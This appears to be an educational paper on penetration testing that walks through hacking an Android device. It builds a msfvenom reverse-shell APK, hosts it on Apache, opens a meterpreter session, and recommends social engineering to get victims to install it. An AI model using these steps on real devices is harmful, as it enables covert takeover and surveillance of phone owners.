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ABSTRACT 

 

IT Security is a major concern of the internet as almost all communication takes 

place over the internet today. The purpose of penetration testing is to ensure 

that the system and network do not have a security breach that could allow 

unauthorized access to the system and network. A possible and appropriate way 

to prevent system and network hacking is penetration testing. The document 

outlines some basic concepts of penetration testing, evaluating existing tools and 

exploits, and using the Metasploit framework for penetration testing and 

running exploits within the framework and tools. 

Keywords: Penetration Testing, Payload, Exploit, Meterpreter, Metasploit 

Framework. 

  

 

I. INTRODUCTION 

 

In the contemporary era, people are increasingly 

dependent on computer , information technology and 

security. Information on the Internet is a major 

concern for society and the IT industry. Security 

infrastructure and software is one of IT World's 

primary concerns. During this time, even small 

details on the Internet are stored in the database of 

computer systems on the Internet. To ensure that the 

information is secure and non-vulnerable and that it 

complies with the assigned security regulations, 

security experts have developed various high-

performance security tools. Approaches such as 

Layered Design, Assurance or Proof of Correctness, 

Software Engineering Environment and Penetration 

Testing Penetration tests are an essential technique 

for testing the Complete operational, integrated and 

reliable computer base consisting of software, 

hardware and people. Using open source frameworks 

(such as Metasploit for exploit generation) for 

penetration testing use more than 1,600 exploits and 

495 payloads to attack networks and computer 

systems. Penetration testing is performed by 

simulating unauthorized access to the system using a 

manual method, automated tools, or a combination of 

both methods. "Mitigating Cyber Security Attacks by 

Being Aware of Vulnerabilities and Bugs" how to 

handle cyber security attacks by spreading awareness 

about vulnerabilities and threats, Attacks 

methodology, defense strategies of vulnerabilities 

[1].“Protection against penetration attacks using 

Metasploit” discusses the script based attacks, using 

Metasploit built-in module to exploit the target 

system, implements Metasploit attacks and analyze 

scripts and payloads to prepare a defense 
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script[3].”Using Kali Linux Security Tools to Create 

Laboratory Projects for Cyber security Education” 

describe the installation and lists of tools provided by 

Kali Linux 2017.3 and uses preconfigured and 

preinstalled tools for laboratory project using 

VMware (virtual machine framework)[6].“Offensive 

Security : Ethical Hacking Methodology on the Web” 

The objective is to plan methodology, generate 

policies for security assurance and ISO 2007 attacks, 

risk analysis using MSAT 4.0 tool based on ISO 

standard[9]. 

 

1.1 WHAT IS PENETRATION TESTING? 

 

Penetration testing also known as ethical hacking, are 

operations of a computer system, network or web 

application to find loop holes that an attacker could 

exploit. Penetration testing can be appended with 

files/application or it is performed by individuals. On 

the target before testing, identifying potential entry 

points, attempting to get in either virtual or real, and 

reporting results. It is the procedure of assessing the 

security of an organization by exploiting 

vulnerabilities in such a way that attackers can 

exploit them, thereby preventing and documenting 

the attack process. 

 

1.2 WHY PERFORM A PENETRATION TEST? 

  

If an unauthorized person used the vulnerability to 

access corporate resources, corporate resources could 

be compromised. The goal of a penetration testing is 

to fix vulnerabilities before they can be used.   

 

II. STAGES IN PENETRATION TESTING 

 

INFORMATION GATHERING: Information 

gathering means gathering different types of 

information about the target. It is the first stage of 

ethical hacking where penetration testers or ethical 

hackers (both black hat and white hat) utilize it to 

gather all the information about the victim or target. 

UPDATE AND INITIATION: Update Kali Linux and 

Initiate apache2 service to host the android 

application on web server so victim can access it. The 

state of apache may be active or inactive. 

CREATING PAYLOAD AND EXPLOITATION: The 

main goal of a pen tester is to crack all kinds of 

security and have remote access to the server, for this 

we use Metasploit Framework. Moreover, we create a 

file using payload and exploit to append a virus with 

the application or file. 

REPORT GENERATION: At this stage, we only 

create a full report on our penetration testing process. 

 

III. EXPLOITATION OF VULNERABILITIES 

 

The exploitation phase of the penetration test is 

performed using web server and some tools which 

are already built into the Kali Linux OS. These tools 

are free and open source tools which are made 

availaible by the developers of Kali Linux 

i.e .Offensive security. 

A. Apache2 Server 

The Apache HTTP Server is a free, open source web 

server that delivers our content via the web service 

over the Internet. It fully supports all operating 

systems such as UNIX, Windows, Linux etc. and is 

now becoming the most popular HTTP client. 

B. Metasploit Framework 

Metasploit Framework is an open source penetration 

testing and development platform that provides 

exploits for a wide variety of applications, operating 

systems, and platforms. Metasploit is one of the most 

widely used penetration testing tools and is built into 

Kali Linux. 
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IV. GENERATING RESULTS OF TEST 

 

The test results should contain solutions to reduce or 

eliminate the weak points. This is what distinguishes 

a penetration test from a security audit. Identified 

significant vulnerabilities must be addressed first and 

a specific schedule must be established to verify that 

the vulnerabilities have been addressed. The 

department, network or system can be selected for 

the same penetration testing process. 

The solutions implemented depend on the 

vulnerabilities identified, the loss to the company if 

the conditions that triggered the vulnerability occur, 

and the cost (and effectiveness) of the solutions 

available. One solution might require a new system 

running a web server to pass a vulnerability test 

before opening the web port in the firewall. Another 

solution might require that all email within the 

domain be sent to a central mail system and sent to 

the local host. Systems through the central mail 

server. Enforcement of existing policies may be the 

only condition to address certain vulnerabilities. 

In the case of desktop security, remote management 

software may already be banned in the company, but 

better work needs to be done to ensure compliance. 

There will be vulnerabilities that can be fixed by 

applying the latest version of the application or the 

operating system patch. The results of the report 

should be closely monitored. If the information falls 

into the wrong hands, an unauthorized person could 

exploit the current one. 

 

V. TEST PERFORMED 

 

INFORMATION GATHERING : Our first work is to 

login into the host or attacking system. While we 

started information gathering phase, firstly we gather 

that what is IP of victim. Secondly, we switch into 

the root user or super user from normal user to get 

maximum permissions of the system i.e read, write 

and execute. Finally, check the internet protocol 

address of attacking system.  

 

Command to login into root user :- 

$ sudo su  (to login from normal user to super user to 

get all permissions i.e. read ,write and      execute) 

 

Command to check the ip address:- 

$ ifconfig (to verify the internet protocol address of 

host machine) 

 

ATTACKERS IP :- 192.168.0.196     (INTERNET 

PROTOCOL ADDRESS OF KALI OS) 

 

A. SWITCHING TO ROOT USER :- 

To switch from Normal or Ordinary User to Super 

user or root user. Root is the real name of the 

administrator account. "sudo" is a command that 

enables ordinary users to perform administrative 

tasks. The root user has user ID 0 and nominally 

unlimited privileges. Root can access any file, run any 

program, make any system call, and change any 

configuration. 

 

Fig 1.1 : Switching To Root User 
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B. CHECK IP ADDRESS :-  

IP address is a unique identification of a devthe 

Internet or on a LAN. IP stands for "Internet 

Protocol", these are the rules that regulate the format 

of data that is sent over the Internet or a LAN.Four 

types of IP addresses are: public, private, static, and 

dynamic. Public and private indicate the position in 

the network, private is used in the network, public is 

outside the network, and static and dynamic are used 

permanently. 

Number of bits on IP Address are : 32 

 
                     

                      Fig 1.2 : IP Address Lookup 

C. UPDATE KALI  LINUX  :- 

In short, to immaculately update your Kali system, 

you only need to compute the repositories and update 

with the $ sudo apt upgrade command. 

 

 
                 Fig 1.3 : Upgradation of Kali Linux 

 

D. INITIATION OF APACHE SERVER 

Apache HTTP Server, commonly known as Apache, 

is a free, open source, cross-platform Web server 

software released under the Apache 2 license. Apache 

is developed and maintained by an open developer 

community under the protection of Apache Software 

Foundation. 

 

Commands To Start Apache2 Server :  

 

# service apache2 status  (to verify whether the 

service is active or inactive) 

 

# service apache2 start   (to active the service ) 

 

 
   Fig 1.4 : Apache2 Server State Active Or Inactive 

E. CREATING PAYLOAD WITH MSFVENOM 

The payload is an integral part of the attack that 

harms the victim. Attack vectors such as viruses, 

worms, and malware may contain multiple harmful 

payloads.  

 

Metasploit payloads are divided into three types:  

 

Single: A single file is very small and aims to establish 

a certain connection, and then enter the next level.  

 

Staged: This is the payload that an attacker can use to 

upload larger files to the victim's system.  
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Stages: A stages is a payload component loaded using 

the stager module. The payload stages provides 

advanced features with no size limitation, such as 

meterpreter and VNC injection. 

 

Commands to create payload : 

 

# msfvenom -p android/meterpreter/reverse_tcp 

LHOST=attacker’s IP  LPORT=4444 

 R  >  /var/www/html/malicious.apk  

 

(This command will create a malicious file which you 

will host on apache server in /var/www/html  

So the victim can access it) 

 
Fig 1.5 : Activating Apache2 Server & Creating 

Payload 

 

F. START METASPLOIT FRAMEWORK 

Metasploit is one amongst the foremost powerful and 

widely utilized tools for penetration testing. The 

Metasploit Project could be a pc security project that 

has data regarding security vulnerabilities and aids in 

penetration testing and IDS signature 

development.The Metasploit Framework can lead us 

to take advantage of the payload that is generated. 

 
Fig 1.6 : Starting Metasploit Framework Using 

msfconsole 

 

G. EXPLOITATION  

While exploitation, We need to use 

exploit/multi/handler to handle the msf process. 

Then we have to set the PAYLOAD which is 

android/meterpreter/reverse_tcp as we have to gain 

access of android and reverse tcp because the tcp port 

is open on internet. Just set the LHOST and LPORT 

just to exploit the apk on the host machine . Lastly, 

Exploit payload. 

 

COMMANDS TO EXPLOIT :-  

 

msf6 > use exploit/multi/handler  

msf6exploit(multi/handler)>set payload 

android/meterpreter/reverse_tcp 

msf6 exploit(multi/handler) > show options 

msf6 exploit(multi/handler) > set LHOST attackers IP 

msf6 exploit(multi/handler) > exploit 
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Fig 1.7 : Using Exploits, Setting Payload And LHOST, 

Exploitation 

H. GAINED ACCESS : (Meterpreter Session Opened) 

We have to use any social engineering attack to urge 

the access of  the android device. Social engineering 

attacks are usually a kind of psychological 

manipulation that trick unsuspecting users or 

workers into revealing confidential or sensitive 

information. In general, social engineering involves 

email or alternative communications that make 

urgency, fear, or similar emotions within the victim 

that end in the victim being fast to disclose 

confidential information, click on a malicious link, or 

open a malicious file.As a result of social engineering 

encompasses a human component, it will be tough 

for firms to forestall these attacks.  

 

COMMAND TO INTERNACT WITH SESSIONS : 

 

msf6 exploit(multi/handler) > sessions –i 1  

(Interaction with session 1 which is opened)  

meterpreter > help  (to know all  the commands) 

meterpreter > app_list (command to see the apps 

installed on android device) 

meterpreter > app_uninstall (command to uninstall 

the app) 

 

Attacker Can Access Camera  , Dump Call Logs , 

Access File Manager , Dump Messages .Attacker Can 

Do Anything Whatever He Wants 

 

 
Fig 1.8 : Gained Access Of Victims’s 

Device(Meterpreter Session Opened) 

 

 
Fig 1.9 :  Apps Installed On Vicitm’s Android Device 

 

VI. RESULT 

1. The Metasploit platform is used to break into 

Android devices using tools developed by Offensive 

Security like MSF. These tools can help students and 

professionals learn new things.  

2. Often we as penetration testers successfully gain 

access to a system through an exploit and 

meterpreters. 

 

VII. CONCLUSION 

 

Penetration testing is a comprehensive method of 

identifying vulnerabilities in a system. It offers 

benefits such as avoiding financial loss, compliance 

with industry regulators, customers and shareholders, 

preserve the corporate image, proactive elimination 

of Identified Risks. Testers can choose between black 
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box, white box and gray box tests, depending on the 

amount of information available to the user. Testers 

can also choose between internal and external tests, 

depending on the Specific Objectives. There are three 

types of penetration testing: network, application, 

and social engineering. This document gives the brief 

idea about Android Hacking and step by step process 

to gain access of an Android Device. 
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